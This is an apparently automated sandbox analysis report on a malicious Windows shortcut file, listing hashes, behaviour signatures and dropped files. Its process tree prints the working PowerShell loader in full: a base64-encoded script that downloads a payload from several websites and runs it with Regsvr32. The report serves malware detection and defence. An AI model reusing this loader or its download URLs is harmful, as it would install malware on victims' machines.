Analysis

  • max time kernel
    96s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 10:49

General

  • Target

    a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk

  • Size

    2KB

  • MD5

    7a6b4a25288a5a52f98e21964de0b356

  • SHA1

    06eadddeeffa93e2d4cb70cfcc15a8c5d0d8c0a5

  • SHA256

    a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1

  • SHA512

    cb104d3bd3fe201236c6c3fcef934e6812a845b4121867af11f6f2494844e518fba84e923e9d061caf382416376f8986ed2c470286a29f35ea1a22ce5e4b46bb

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3128

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0ab03b4ab0ee8273a1eea28cef1ca1e7

    SHA1

    8a305ca40e71bd2b04b20c65e28730e3ff3f50b2

    SHA256

    695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed

    SHA512

    7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yud4niye.qdl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

    Filesize

    926B

    MD5

    8ef6909ba4b9e6cd6676297601c39e5c

    SHA1

    9dcd9af682adacb278c1970d49babafd29df3928

    SHA256

    9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c

    SHA512

    b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

  • memory/3128-28-0x000002823C0A0000-0x000002823C846000-memory.dmp

    Filesize

    7.6MB

  • memory/4152-2-0x00007FFC5D5D3000-0x00007FFC5D5D5000-memory.dmp

    Filesize

    8KB

  • memory/4152-12-0x000001CEE95D0000-0x000001CEE95F2000-memory.dmp

    Filesize

    136KB

  • memory/4152-14-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-13-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-15-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-24-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-35-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

    Filesize

    10.8MB